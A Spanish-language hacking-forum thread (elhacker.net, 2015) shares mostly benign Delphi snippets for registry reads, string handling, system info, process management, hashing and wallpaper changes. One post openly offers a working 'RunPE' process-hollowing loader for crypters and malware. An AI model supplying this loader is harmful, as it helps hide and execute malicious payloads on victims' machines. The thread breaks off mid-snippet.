Foro de elhacker.net

Programación => Programación General => Mensaje iniciado por: crack81 en 5 Julio 2015, 20:05 pm



Título: Librería de Snippets para Delphi
Publicado por: crack81 en 5 Julio 2015, 20:05 pm
¿Que es un Snippet?

*Es un extracto de código que suele contener una o varias Subrutinas con el propósito de realizar una tarea específica,
cuyo código es reusable por otras personas y fácil de integrar con sólamente copiar y pegar el contenido del Snippet.



Este post esta dedicado para publicar librerias o subrutinas del lenguaje Delphi/pascal,
ya que en mi punto de vista hay falta de material comparada a lenguajes estilo c++o visual basic, esto pueda ayudar a otros nuevos programadores a introducirse en este lenguaje.


*Informacion extraida del post de snippet de Elektro


Funcion para obtener el navegador prederterminado

Código
  1. uses
  2.  SysUtils,Registry,windows;
  3.  
  4.  
  5. function getBrowser():string;
  6. begin
  7. with TRegistry.Create do
  8.  try
  9.    RootKey:=HKEY_CURRENT_USER;
  10.    if openkey('\Software\Clients\StartMenuInternet',false) then
  11.    begin
  12.      result:=ReadString('');
  13.      CloseKey;
  14.    end
  15.    else
  16.      result:='Unknow';
  17.  finally
  18.   free;
  19.  end;
  20. end;
  21.  
  22. var
  23. navegador:string;
  24. begin
  25. //uso de la funcion
  26.  navegador:=getBrowser();
  27.  writeln('Nuestro navegador es ',navegador);//en mi caso devolver mozilla firefox
  28.  readln;
  29. end.
  30.  

Funcion delimitator que corta una cadena entre dos delimitadores


Código
  1. uses
  2.  SysUtils;
  3.  
  4.  
  5. function Delimitador(cadena,delm1,delm2:string):string;
  6. var
  7. pos1,pos2:integer;
  8. ext,sfinal:string;
  9. begin
  10.  sfinal:='';
  11.  pos1:=AnsiPos(delm1,cadena);
  12.  if pos1<>0 then
  13.  begin
  14.    ext:=copy(cadena,pos1+length(delm1),length(cadena)-length(delm1));
  15.    pos2:=AnsiPos(delm2,ext);
  16.    if pos2<>0 then
  17.    begin
  18.      sfinal:=copy(ext,1,pos2-1);
  19.    end;
  20.  end;
  21. result:=sfinal;
  22. end;
  23.  
  24. begin
  25. //uso de la funcion
  26.  writeln(delimitador('hola_mundo_como_estas','hola','estas'));
  27.  {devolveria: _mundo_como_ }
  28.  readln;
  29. end.
  30.  

Funcion para obtener el S.O que estamos utilizando


Código
  1. uses
  2.  SysUtils,windows;
  3.  
  4.  
  5. function getOperatingSystem: string;
  6. var
  7. osVersionInfo:TOSVersionInfo;
  8. majorVersion,minorVersion:dword;
  9. begin
  10.   Result:='Unknown';
  11.   osVersionInfo.dwOSVersionInfoSize:=SizeOf(TOSVersionInfo);
  12.  
  13.   if GetVersionEx(osVersionInfo) then
  14.   begin
  15.  
  16.     majorVersion:=osVersionInfo.dwMajorVersion;
  17.     minorVersion:=osVersionInfo.dwMinorVersion;
  18.  
  19.     if (majorVersion=10) and (minorVersion=0) then Result:='Windows 10'
  20.  
  21.     else if (majorVersion=6) and (minorVersion=3) then Result:='Windows 8.1'
  22.  
  23.     else if (majorVersion=6) and (minorVersion=2) then Result:='Windows 8'
  24.  
  25.     else if (majorVersion=6) and (minorVersion=1) then Result:='Windows 7'
  26.  
  27.     else if (majorVersion=6) and (minorVersion=0) then Result:='Windows vista'
  28.  
  29.     else if (majorVersion=5) and (minorVersion=1) then Result:='Windows xp'
  30.   end;
  31. end;
  32.  
  33. var
  34. SO:string;
  35. begin
  36. //uso de la funcion
  37. SO:=getOperatingSystem;
  38. writeln('Sistema operativo actual: ',SO);//Nos muestra el S.O
  39. readln;
  40. end.


Funcion para buscar la posicion de una cadena dentro de otra
Código
  1. uses
  2.  SysUtils;
  3.  
  4.  
  5. function StringInStr(const Cadena,Buscar:string):integer;
  6. var
  7. i,pos,fin:integer;
  8. begin
  9.  pos:=1; fin:=-1;
  10.  if length(Cadena)>=length(Buscar) then
  11.  begin
  12.    for i :=1  to length(Cadena) do
  13.    begin
  14.      if  Cadena[i]=Buscar[pos] then
  15.      begin
  16.  
  17.        if pos=length(Buscar) then
  18.        begin
  19.           fin:=i-length(Buscar)+1;
  20.           Break;
  21.        end;
  22.        inc(pos);
  23.      end;
  24.  
  25.    end;
  26.  end;
  27. result:=fin;
  28. end;
  29.  
  30. var
  31. cadena:integer;
  32. begin
  33. //uso de la funcion
  34. cadena:=StringInStr('lAHola mundo','la');
  35. writeln('Posion de m en la cadena ',cadena);//Nos regresa la posion 5
  36. readln;
  37. end.
  38.  


Unit para cifrar y descifrar una cadena el autor es Scorpio pero la hizo en autoit
asi que yo le hice la traduccion a Delphi



Código
  1. unit sAlakran;
  2.  
  3. interface
  4. uses StrUtils,SysUtils;
  5.  
  6. function sCipher(text,key:string):string;
  7. function sUnCipher(text,key:string):string;
  8.  
  9. implementation
  10.  
  11. function asc(letras:string):integer;
  12. begin
  13.   if length(letras)>=1 then
  14.      result:=ord(letras[1])
  15.   else
  16.     result:=0;
  17. end;
  18.  
  19. function sCipher(text,key:string):string;
  20. var
  21. i,j,seed:integer;
  22. sfinal:String;
  23. begin
  24.   sfinal:=''; seed:=0;
  25.  
  26.   for i :=1  to  length(key) do
  27.   begin
  28.     seed:=(seed+asc(key)) * length(key);
  29.     key:=AnsiMidStr(key,2,length(key)-1);
  30.   end;
  31.  
  32.   for j:=1 to length(text) do
  33.   begin
  34.     sfinal:=sfinal+IntToStr((ord(text[1])+seed));
  35.     text:= AnsiMidStr(text,2,length(text));
  36.   end;
  37.  
  38.   result:=sfinal;
  39. end;
  40.  
  41.  
  42. function sUnCipher(text,key:string):string;
  43. var
  44. seed,step,tamano,i,j:integer;
  45. sfinal:string;
  46. begin
  47.   seed:=0; sfinal:='';
  48.  
  49.   for i :=1  to length(key) do
  50.   begin
  51.     seed:=(seed+asc(key))*length(key);
  52.     key:=AnsiMidStr(key,2,length(key)-1);
  53.   end;
  54.  
  55.   step:=length(inttostr(seed));
  56.   j:=step;
  57.   tamano:=length(text);
  58.  
  59.   while(j<=tamano) do
  60.   begin
  61.      sfinal:=sfinal+chr(strtoint(AnsiLeftStr(text,step))-seed);
  62.      text:= AnsiMidStr(text,step+1,length(text));
  63.      j:=j+step;
  64.   end;
  65.   result:=sfinal;
  66. end;
  67.  
  68. end.
  69.  

uso:

Código
  1. uses
  2.  SysUtils,
  3.  sAlakran in 'sAlakran.pas';
  4.  
  5. var
  6. cadena:string;
  7. begin
  8. //uso de la funcion
  9. cadena:=sCipher('hola mundo45','12');
  10. writeln('la cadena cifrada es  ',cadena);//Nos regresa la posion 5
  11. cadena:=sUnCipher(cadena,'12');
  12. writeln('la cadena descifrada es ',cadena);
  13. readln;
  14. end.
  15.  




Título: Re: Librería de Snippets para Delphi
Publicado por: crack81 en 5 Julio 2015, 20:06 pm
Funcion hecha en delphi para hacer operaciones matematicas como la suma,resta,multiplciacion y potencia
utilizando string

Ejemplo tenemos la operacion ---------->(5*3)+(2^4)-(2*-3) en vez de estar realizando la operacion paso por paso la metemos dentro de un string y la evaluamos directamente
con nuestra funcion y dara el resultado correcto

al utilizar la funcion es necesario especificar los operadores aritmeticos porque sino dara error
abajo les dejo un ejemplo de su uso


Código
  1. program Project2;
  2. {$APPTYPE CONSOLE}
  3. {$WriteableConst On}//esta directiva es necearia para modificar constantes
  4.  
  5. uses
  6.  SysUtils,Math;
  7.  
  8.  
  9. // Grammar:
  10.        // expression = term | expression `+` term | expression `-` term
  11.        // term = factor | term `*` factor | term `/` factor | term brackets
  12.        // factor = brackets | number | factor `^` factor
  13.        // brackets = `(` expression `)`
  14.  
  15. //Esta funcion utliza recursividad mutua
  16.  
  17.  
  18. function EvaluarString(const str:string):double;
  19. const
  20. pos:integer=0;//inicia en cero para despues convertirse en 1
  21. var
  22. c:integer;
  23. procedure eatChar; //va obteniendo caracter por caracter excepto los vacios
  24. begin
  25.  inc(pos);
  26.  if pos<=length(str) then c:=ord(str[pos])
  27.  else c:=0;
  28. end;
  29. procedure eatSpace; //come los espacions en blanco
  30. begin
  31.  while c=32 do eatChar;
  32. end;
  33. function parseExpresion:double; forward; //prototipo de la funcion
  34. function parseTerm:double; forward;  //prototipo de la funcion
  35. function parseFactor:double; forward;  //prototipo de la funcion
  36. function parse:double;
  37. var
  38. v:double;
  39. begin
  40.  eatChar();
  41.  v:=parseExpresion();
  42.  
  43.  if c<>0 then
  44.  begin
  45.    writeln('Error en el simbolo ',char(c));
  46.    Result:=0.0;
  47.    Exit;
  48.  end;
  49.  Result:=v;
  50. end;
  51. function parseExpresion:double;
  52. var
  53. v:double;
  54. begin
  55.   v:=parseTerm();
  56.  
  57.   while(true)do
  58.   begin
  59.  
  60.     eatSpace();
  61.  
  62.     if c=ord('+') then //suma
  63.     begin
  64.       eatChar();
  65.       v:=v+parseTerm();
  66.     end
  67.     else if c=ord('-') then  //resta
  68.     begin
  69.       eatChar();
  70.       v:=v-parseTerm();
  71.     end
  72.     else
  73.     begin
  74.       Result:=v;
  75.       break;//necesario si no entra en un bucle sin fin
  76.     end;
  77.   end;
  78. end;
  79. function parseTerm:double;
  80. var
  81. v:double;
  82. begin
  83.  v:=parseFactor();
  84.  while True do
  85.  begin
  86.    eatSpace();
  87.  
  88.    if c=ord('/') then
  89.    begin
  90.      eatChar;
  91.      v:=v/parseFactor;
  92.    end
  93.    else if((c=ord('*')) or (c=ord('('))) then  //multiplicacion
  94.    begin
  95.       if c=ord('*') then eatChar;
  96.       v:=v*parseFactor();
  97.    end
  98.    else
  99.    begin
  100.      Result:=v;
  101.      break;//necesario si no entra en un bucle sin fin
  102.    end;
  103.  end;
  104. end;
  105. function parseFactor:double;
  106. var
  107. v:double;
  108. negate:boolean;
  109. sb:string;
  110. begin
  111.  negate:=false;
  112.  eatSpace;
  113.  
  114.  if c=ord('(') then
  115.  begin
  116.    eatChar;
  117.    v:=parseExpresion;
  118.  
  119.    if c=ord(')') then eatChar;
  120.  end
  121.  else   //numeros
  122.  begin
  123.    if ((c=ord('+')) or (c=ord('-'))) then  //simbolos unarios positivo y negativo
  124.    begin
  125.      negate:=c=ord('-');
  126.      eatChar;
  127.      eatSpace;
  128.    end;
  129.  
  130.    sb:='';
  131.    while (((c>=ord('0'))and (c<=ord('9'))) or (c=ord('.'))) do
  132.    begin
  133.      sb:=sb+chr(c);
  134.      eatChar;
  135.    end;
  136.  
  137.  
  138.    if length(sb)=0 then
  139.    begin
  140.      writeln('Error no existen caracterese en sb');
  141.      result:=0.0;
  142.      Exit;
  143.    end;
  144.  
  145.    v:=strtofloat(sb);
  146.  end;
  147.  eatSpace;
  148.  if c=ord('^') then  //exponente
  149.  begin
  150.    eatChar;
  151.    v:=Math.Power(v,parseFactor);
  152.  end;
  153.  
  154.  if negate then v:=-v;
  155.  result:=v;
  156. end;
  157. begin
  158.  result:=parse();//retorna la operacion
  159. end;
  160.  
  161.  
  162. var
  163. e:double;
  164. begin
  165.  //Ejemplo de uso
  166.  e:=EvaluarString('(5*3)+(5^2)');  //evaluar expresion
  167.  writeln(e:0:2);//resultado 40
  168.  readln;
  169. end.


Título: Re: Librería de Snippets para Delphi
Publicado por: crack81 en 5 Julio 2015, 20:17 pm
Funcion para convetir  de string a hexadecimal y viceversa

Código
  1. uses
  2.  SysUtils;
  3.  
  4. function stringToHex(const data:string):string;
  5. var
  6. i:integer;
  7. sfinal:String;
  8. begin
  9.  sfinal:='';
  10.  
  11.  for i:=0 to length(data) do
  12.  begin
  13.    sfinal:=sfinal+IntToHex(ord(data[i]),2);
  14.  end;
  15.  result:=sfinal;
  16. end;
  17.  
  18.  
  19. function hexTostring(const data:string):string;
  20. var
  21. i:integer;
  22. sfinal:String;
  23. begin
  24.  i:=1;
  25.  sfinal:='';
  26.  
  27.  if(length(data)mod 2<>0)then
  28.  begin
  29.    Result:='';
  30.    Exit;
  31.  end;
  32.  
  33.  while(i<=length(data))do
  34.  begin
  35.    sfinal:=sfinal+chr(strtoint('$'+(Copy(data,i,2))));
  36.    i:=i+2;
  37.  end;
  38.  result:=sfinal;
  39. end;
  40.  
  41. var
  42. str,normal:String;
  43. begin
  44. str:=stringToHex('hola mundo');
  45. writeln('En hexadecimal es ',str);
  46. normal:=hexTostring(str);
  47. writeln('lo regresamos a la normalidad ',normal);
  48. readln;
  49. end.
  50.  

Funcion renombrar archivos el autor original es Elektro yo solo le hice la traduccion

Código
  1. function renameFile(_File:string;NewFilename:string;NewFileExtension:string=''):boolean;
  2. begin
  3.  if FileExists(_File) then
  4.  begin
  5.    try
  6.      if NewFileExtension='' then
  7.        MoveFile(pchar(_File),pchar(ExtractFilePath(_File)+NewFilename+ExtractFileExt(_File)))
  8.      else
  9.        MoveFile(pchar(_File),pchar(ExtractFilePath(_File)+NewFilename+'.'+NewFileExtension));
  10.    except
  11.      on E:Exception do
  12.        result:=False;
  13.    end;
  14.  end
  15.  else
  16.    Result:=False;
  17. end;
  18.  


Título: Re: Librería de Snippets para Delphi
Publicado por: crack81 en 7 Julio 2015, 06:09 am
Funcion para obtener la arquitectura del sistema operativo

Código
  1. function getArchitecture:string;
  2. var
  3. sysInfo:SYSTEM_INFO;
  4. begin
  5.   GetSystemInfo(sysInfo);
  6.   case sysInfo.wProcessorArchitecture of
  7.     0:result:='x86';
  8.     9:result:='x64';
  9.     else result:='unknown';
  10.   end;
  11. end;

Funcion para obtener el numero de procesadores

Código
  1. function numberOfProcessors:Dword;
  2. var
  3. sysInfo:SYSTEM_INFO;
  4. begin
  5.   GetSystemInfo(sysInfo);
  6.   result:=sysInfo.dwNumberOfProcessors;
  7. end;


Funcion para obtener el tipo de procesador


Código
  1. function ProcessorType:string;
  2. var
  3. sysInfo:SYSTEM_INFO;
  4. begin
  5.   GetSystemInfo(sysInfo);
  6.   case sysInfo.dwProcessorType of
  7.     220:result:='PROCESSOR_INTEL_IA64';
  8.     386:result:='PROCESSOR_INTEL_386';
  9.     486:result:='PROCESSOR_INTEL_486';
  10.     586:result:='PROCESSOR_INTEL_PENTIUM_586';
  11.     8664:result:='PROCESSOR_AMD_X8664';
  12.     else result:='Unknown';
  13.   end;
  14. end;

Esta ultima funcion segun microsoft deberia estar obsoleta
no olviden añadir el use windows para poder usar las funciones


ejemplo de uso

Código
  1. begin
  2.   writeln('Arquitectura de la computadora ',getArchitecture()); //en mi caso x86
  3.   writeln('Numero de procesadores ',numberOfProcessors());
  4.   writeln('Tipo de procesador ', ProcessorType());//esta funcion deberia estar obsoleta
  5.   readln;
  6. end.
  7.  


Título: Re: Librería de Snippets para Delphi
Publicado por: crack81 en 14 Julio 2015, 05:30 am
Funcion para saber si un numero esta en un rango entre dos numeros,
si es cierto retorna true sino retorna false


Código
  1. function numberIsInRange(const number,min,max:integer):boolean;
  2. begin
  3. result:=((min<=number) and (number<=max));
  4. end;
  5.  
  6. begin
  7.    writeln(numberIsInRange(5,1,100);  //muestra true
  8.    writeln(numberIsInRange(0,55,98);  //muestra false
  9.    writeln(numberIsInRange(25,55,98); //muestra true
  10.    Readln;
  11. end.
  12.  

Funcion que muestra los tamaños maximos de los diferentes tipos de entero
en Delphi, el enfoque principal son las funciones low y High que son las
encargadas de retornarnos ese valor, esto solo es valido con numeros enteros
y no con reales


Código
  1. procedure sizeMaxOfDataType;
  2. begin
  3.  writeln('Byte    -> ',low(Byte),' to ',high(Byte));
  4.  writeln('Integer -> ',low(integer),' to ',high(integer));
  5.  writeln('Int64   -> ',low(Int64),' to ',high(Int64));
  6.  writeln('LongInt -> ',low(LongInt),' to ',high(LongInt));
  7.  writeln('Longword -> ',low(Longword),' to ',high(Longword));
  8.  writeln('Word -> ',low(Word),' to ',high(Word));
  9. end;


Funciones una para leer archivos .exe y almacenarlo como string y la otra para poder convertir strings a .exe
utilizando la clase Tfilestream

Código
  1. uses
  2.  SysUtils,classes;
  3.  
  4. {
  5. Funcion que lee un fichero y lo convierte a string el caso mas comun es
  6. cuando necesitas leer un exe y hacer alguna modifcacion como cifrarlo o
  7. alterar su informacion la funcion necesita el use classes para poder llamar a
  8. la clase Tfilestream
  9.  
  10. }
  11. function binaryToString(const path:string):String;
  12. var
  13. _File:TFileStream;
  14. size:Int64;
  15. begin
  16.  if FileExists(path) then
  17.  begin
  18.    _File:=TFileStream.Create(path,fmOpenRead);
  19.    try
  20.      size:=_File.Size;
  21.      SetLength(result,size);
  22.      _File.Read(result[1],size);
  23.    finally
  24.      _File.Free;
  25.    end;
  26.  end
  27.  else result:='';
  28. end;
  29.  
  30.  
  31. {Funcion para crear un fichero en base a un string que le pasemos, esta
  32.  funcion se usa en conjunto con la anterior ya que despues de leer y modificar
  33.  un fichero necesitamos volver a regresarlo a un estado de fichero  por eso la
  34.  necesidad de esta funcion.
  35. }
  36. function stringToBinary(const nameExe,source:string):Boolean;
  37. var
  38. _File:TFileStream;
  39. begin
  40.  result:=false;
  41.  _File:=TFileStream.Create(nameExe,fmCreate);
  42.  try
  43.    _File.Write(source[1],length(source));
  44.  finally
  45.    _File.Free;
  46.  end;
  47.  
  48.  result:=true;
  49. end;
  50.  
  51. var
  52. source:string;
  53. begin
  54.    source:=binaryToString('C:\archivo.exe');
  55.    stringToBinary('C:\nuevoArchivo.exe',source);
  56.    writeln('listo');
  57.    Readln;
  58. end.
  59.  






Título: Re: Librería de Snippets para Delphi
Publicado por: crack81 en 14 Julio 2015, 05:33 am
Para los que les gusta el tema del malware y los crypter les traigo una traduccion que hice de un runpe originalmente hecho en c++

Código
  1. unit Unit1;
  2.  
  3. interface
  4. uses windows;
  5.  
  6. procedure run(szFilePath:LPSTR;pFile:PVOID);
  7.  
  8. implementation
  9.  
  10. function NtUnmapViewOfSection(ProcessHandle:DWORD; BaseAddress:Pointer):DWORD; stdcall; external 'ntdll';
  11. procedure RtlZeroMemory(Destination:pointer;Length:DWORD);stdcall;external 'ntdll';
  12.  
  13. procedure run(szFilePath:LPSTR;pFile:PVOID);
  14. var
  15. IDH:PImageDosHeader;
  16. INH:PImageNtHeaders;
  17. ISH:PImageSectionHeader;
  18. PI:PROCESS_INFORMATION;
  19. SI:STARTUPINFOA;
  20. CTX:PContext;
  21. dwImageBase:PDWORD;
  22. pImageBase:LPVOID;
  23. count:Integer;
  24. BitesRead:SIZE_T;
  25. ByteWritten:SIZE_T;
  26. ByteWritten2:SIZE_T;
  27. ByteWritten3:SIZE_T;
  28. begin
  29.  IDH:=PImageDosHeader(pFile);
  30.  if (IDH.e_magic=IMAGE_DOS_SIGNATURE) then
  31.  begin
  32.    INH:=PImageNtHeaders(DWORD(pFile)+IDH._lfanew);
  33.    if INH.Signature=IMAGE_NT_SIGNATURE then
  34.    begin
  35.      RtlZeroMemory(@SI,sizeof(SI));
  36.      RtlZeroMemory(@PI, sizeof(PI));
  37.  
  38.      if( CreateProcessA(szFilePath,nil,nil,nil,false,CREATE_SUSPENDED,nil,nil,SI,PI)) then
  39.      begin
  40.         CTX:=PContext(VirtualAlloc(nil,sizeof(CTX),MEM_COMMIT,PAGE_READWRITE));
  41.         CTX.ContextFlags:=CONTEXT_FULL;
  42.  
  43.         if GetThreadContext(PI.hThread,_CONTEXT(CTX^)) then
  44.         begin
  45.           ReadProcessMemory(PI.hProcess,pointer(CTX.Ebx+8),pointer(@dwImageBase),4,BitesRead);
  46.  
  47.           if (Dword(dwImageBase)=INH.OptionalHeader.ImageBase) then
  48.           begin
  49.             NtUnmapViewOfSection(PI.hProcess,pointer(dwImageBase));
  50.           end;
  51.  
  52.            pImageBase:= VirtualAllocEx(PI.hProcess, POINTER(INH.OptionalHeader.ImageBase), INH.OptionalHeader.SizeOfImage, 12288, PAGE_EXECUTE_READWRITE);
  53.            if pImageBase<>nil then
  54.            begin
  55.              WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH.OptionalHeader.SizeOfHeaders, ByteWritten);
  56.              for count := 0 to INH.FileHeader.NumberOfSections-1 do
  57.              BEGIN
  58.                  ISH:=PImageSectionHeader(DWORD(pFile) + IDH._lfanew+ 248 + (Count * 40));
  59.                  WriteProcessMemory(PI.hProcess, pointer(DWORD(pImageBase) + ISH.VirtualAddress), pointer(DWORD(pFile) + ISH.PointerToRawData), ISH.SizeOfRawData, ByteWritten2);
  60.              END;
  61.  
  62.               WriteProcessMemory(PI.hProcess, pointer(CTX.Ebx + 8), pointer(@INH.OptionalHeader.ImageBase), 4, ByteWritten3);
  63.               CTX.Eax := DWORD(pImageBase) + INH.OptionalHeader.AddressOfEntryPoint;
  64.               SetThreadContext(PI.hThread, _CONTEXT(CTX^));
  65.               ResumeThread(PI.hThread);
  66.            end;
  67.  
  68.         end;
  69.  
  70.      end;
  71.  
  72.    end;
  73.  
  74.  end;
  75.   VirtualFree(ctx, 0, MEM_RELEASE)
  76.  
  77. end;
  78.  
  79. end.


Título: Re: Librería de Snippets para Delphi
Publicado por: Eleкtro en 14 Julio 2015, 06:17 am
¿Nadie va a decir nada o que?  :¬¬

pues lo digo yo: GRACIAS POR COMPARTIR DESINTERESADAMENTE, muy buen aporte.

PD: El embarcadero lo tengo muerto de risa, quizás algún día lo reviva aunque sea para probar alguno de estos códigos por pura curiosidad.

Saludos!


Título: Re: Librería de Snippets para Delphi
Publicado por: crack81 en 20 Julio 2015, 19:06 pm
Funciones para el tratamiento de procesos el codigo es extraido de club Delphi

Código
  1. uses
  2.  SysUtils,windows,TlHelp32;
  3.  
  4. {obtener el nombre de los procesos activos}
  5. procedure obtenerProcesos;
  6. var
  7. continuar:BOOL;
  8. snapshotHandle:THandle;
  9. processEntry32:TProcessEntry32;
  10. begin
  11.    { Creas un Handle para leer procesos }
  12.   snapshotHandle:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
  13.   try
  14.    { Creás un buffer de procesos }
  15.    processEntry32.dwSize:=sizeof(processEntry32);
  16.    { continuar es un flag que busca el siguiente proceso y, si hay, lo guarda en processEntry32 }
  17.    continuar:=Process32First(snapshotHandle,processEntry32);
  18.  
  19.    while continuar do
  20.    begin
  21.       {muestra los procesos por consola}
  22.       writeln(processEntry32.szExeFile);
  23.       {busca el siguiente proceso si retorna false sale del bucle}
  24.       continuar:=Process32Next(snapshotHandle,processEntry32);
  25.    end;
  26.   finally
  27.     {cerramos el handle llamado snapshotHandle}
  28.     CloseHandle(snapshotHandle);
  29.   end;
  30. end;
  31.  
  32.  
  33. {compruba si un proceso esta activo a traves de su nombre}
  34. function ProcessExists(AExeName: String): boolean;
  35. var
  36.  ContinueLoop: LongBool;
  37.  FSnapshotHandle: THandle;
  38.  FProcess: TProcessEntry32;
  39.  FExeFound: TFileName;
  40. begin
  41.  { Limpias el hacés un genérico para el FileName }
  42.  AExeName := UpperCase(AExeName);
  43.  Result := False;
  44.  { Creas un Handle para leer procesos }
  45.  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  46.  { Creás un buffer de procesos }
  47.  FProcess.dwSize := SizeOf(FProcess);
  48.  { ContinueLoop es un flag que busca el siguiente proceso y, si hay, lo guarda en FProcess }
  49.  ContinueLoop := Process32First(FSnapshotHandle, FProcess);
  50.  while (ContinueLoop) and NOT(Result) do
  51.  begin
  52.    { Almacenás el nombre "genéroco" del proceso encontrado }
  53.    FExeFound := UpperCase((ExtractFileName(FProcess.szExeFile)));
  54.    Result := (FExeFound = AExeName);
  55.    ContinueLoop := Process32Next(FSnapshotHandle, FProcess);
  56.  end;
  57.  { Cerrás el Handle }
  58.  CloseHandle(FSnapshotHandle);
  59. end;
  60.  
  61.  
  62. {mata algun proceso activo}
  63. function ProcessKill(AExeName: String; Iterative: boolean = TRUE): boolean;
  64. const
  65.  TERMINATE = $0001;
  66. var
  67.  ContinueLoop: BOOL;
  68.  FSnapshotHandle: THandle;
  69.  FProcess: TProcessEntry32;
  70.  FExeFound: TFileName;
  71. Label NO_ITERATIVE;
  72. begin
  73.  Result := False;
  74.  { Limpias el hacés un genérico para el FileName }
  75.  AExeName := UpperCase((AExeName));
  76.  { Creas un Handle para leer procesos }
  77.  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  78.  { Creás un buffer de procesos }
  79.  FProcess.dwSize := SizeOf(FProcess);
  80.  { ContinueLoop es un flag que busca el siguiente proceso y, si hay, lo guarda en FProcess }
  81.  ContinueLoop := Process32First(FSnapshotHandle, FProcess);
  82.  while (ContinueLoop) do
  83.  begin
  84.    { Almacenás el nombre "genéroco" del proceso encontrado }
  85.    FExeFound := UpperCase((ExtractFileName(FProcess.szExeFile)));
  86.    if (FExeFound = AExeName) then
  87.    begin
  88.      Result := True;
  89.      { Para matarlo lo debés abrir con el flag de TERMINATE }
  90.      TerminateProcess(OpenProcess(TERMINATE, BOOL(0), FProcess.th32ProcessID),0);
  91.      if NOT(Iterative) then { Si no es iterativo sale directamente a cerrar el Handle }
  92.        GoTo NO_ITERATIVE;
  93.    end;
  94.    ContinueLoop := Process32Next(FSnapshotHandle, FProcess);
  95.  end;
  96. NO_ITERATIVE :
  97.  CloseHandle(FSnapshotHandle);
  98. end;
  99.  
  100.  
  101. begin
  102.  
  103.  obtenerProcesos;//muestra el nombre de los procesos activos
  104.  writeln;
  105.  writeln('Existe calc.exe ',ProcessExists('calc.exe')); //es la calculadora de windows
  106.  Writeln('Proceso matado ',ProcessKill('calc.exe'));
  107.  readln;
  108. end.
  109.  


Título: Re: Librería de Snippets para Delphi
Publicado por: crack81 en 28 Julio 2015, 19:48 pm
Funcion para obtener la ultima version del framework .NET

Código
  1. uses
  2.  
  3.  Classes,SysUtils,Registry
  4.  { you can add units after this };
  5.  
  6. function getNetVersion:string;
  7. var
  8.  values:TStringList;
  9. begin
  10.  with TRegistry.Create do
  11.  try
  12.    RootKey:=HKEY_LOCAL_MACHINE;
  13.    if OpenKey('\SOFTWARE\Microsoft\NET Framework Setup\NDP',false) then
  14.    begin
  15.      values:=TStringList.Create;
  16.      try
  17.        GetKeyNames(values);
  18.        if values.Count>0 then result:=values[values.Count-1]
  19.        else result:='Unknown';
  20.      finally
  21.        values.Free;
  22.      end;
  23.      CloseKey();
  24.    end
  25.  finally
  26.    free;
  27.  end;
  28. end;
  29.  
  30. var
  31.  cadena:String;
  32. begin
  33.   cadena:=getNetVersion;
  34.   writeln(cadena);
  35.   readln;
  36. end.


Título: Re: Librería de Snippets para Delphi
Publicado por: BDWONG en 6 Agosto 2015, 06:16 am
Funcion para acortar urls usando la api de tinyurl, les dejo la funcion y coomo usarla

Código
  1. uses
  2.  SysUtils,idhttp;
  3.  
  4. function getShortUrl(const url: string): string;
  5. var
  6. http:TIdHTTP;
  7. begin
  8.  http:=TIdHTTP.Create(nil); //creamos el objeto
  9.  try
  10.   Result:=http.Get('http://tinyurl.com/api-create.php?url='+url); //retornamos la url
  11.  finally
  12.   http.Free;//liberamos el objeto
  13.  end;
  14. end;
  15.  
  16.  
  17. //ejemplo de uso
  18. var //declaramos variables
  19. url:string;
  20. urlCorta:string;
  21. begin
  22.  url:='https://www.google.com.mx'; //url original
  23.  urlCorta:=getShortUrl(url); //obtenemos la url corta
  24.  writeln('La url es: ',urlCorta);//la mostramos por pantalla
  25.  Readln;
  26. end.


Título: Re: Librería de Snippets para Delphi
Publicado por: BDWONG en 6 Agosto 2015, 06:48 am
Les dejo dos funciones para obtener tanto el md5 de los ficheros como de las cadenas, las funciones fuero probadas en Delphi 2010 creo que en Delphi 7 cambia un poco la forma de obtenerlo


Código
  1. uses
  2.  SysUtils,IdHashMessageDigest, idHash,classes;
  3.  
  4. //funcin para obtener el md5 de ficheros como los .exe
  5. function FileMD5(const fileName : string) : string;
  6. var
  7.   idmd5 : TIdHashMessageDigest5;
  8.   fs : TFileStream;//Es una Clase para leer ficheros como los .exe
  9. begin
  10.   idmd5 := TIdHashMessageDigest5.Create; //creamos objeto para calcular md5
  11.   fs := TFileStream.Create(fileName, fmOpenRead OR fmShareDenyWrite) ; //stream para leer el fichero
  12.   try
  13.     result := idmd5.HashStreamAsHex(fs); //obtenemos md5 del fichero
  14.   finally
  15.   //liberamos los objetos
  16.     fs.Free;
  17.     idmd5.Free;
  18.   end
  19. end;
  20.  
  21.  
  22. //funcion para obtener el md5 de cualquier string
  23. function StringMd5(const data : string) : string;
  24. var
  25.   idmd5 : TIdHashMessageDigest5;
  26. begin
  27.   idmd5 := TIdHashMessageDigest5.Create;//creamos el objeto
  28.   try
  29.     result := idmd5.HashStringAsHex(data);//retornamos el md5 del string
  30.   finally
  31.     idmd5.Free;//liberamos el objeto
  32.   end
  33. end;
  34.  
  35.  
  36. var
  37. ruta,strMd5,cadena:string;
  38. begin
  39.  ruta:='C:\project1.exe';  //ruta del fichero
  40.  strMd5:=FileMD5(ruta); //obtenemos md5
  41.  writeln('El md5 del fichero es ',strMd5);//lo mostramos
  42.  
  43.  
  44.  {-------------------------------------------}
  45.  
  46.  cadena:='hola mundo';//cadena a calcular md5
  47.  strMd5:=StringMd5(cadena);//obtenemos su md5
  48.  writeln('El md5 del string  es ',strMd5);//lo mostramos
  49.  
  50.  readln;
  51. end.


Título: Re: Librería de Snippets para Delphi
Publicado por: crack81 en 14 Agosto 2015, 03:56 am
Funcion para cambiar el fondo al escritorio utilizando la api de windows

Código
  1. uses
  2.  SysUtils,
  3.  windows;
  4.  
  5. function cambiarFondo(const imagen:string):boolean;
  6. begin
  7.   Result:=SystemParametersInfo(20,0,@imagen[1],0);
  8. end;
  9.  
  10. var
  11. foto:string;
  12. begin
  13. writeln(cambiarFondo('image.bmp'));
  14. writeln('Imagen cambiada');
  15. readln;
  16. end.


Otra alternativa para cambiar el fondo de un escritorio pero ahora utilizando  la interfaz IActiveDesktop

Código
  1. uses
  2.  SysUtils,
  3.  ComObj,ShlObj,ActiveX,windows;
  4.  
  5. function ChangeWallpaper(const Image: widestring): Boolean;
  6. const
  7.  CLSID_ActiveDesktop: TGUID = '{75048700-EF1F-11D0-9888-006097DEACF9}';
  8. var
  9.  ADesktop: IActiveDesktop;
  10. begin
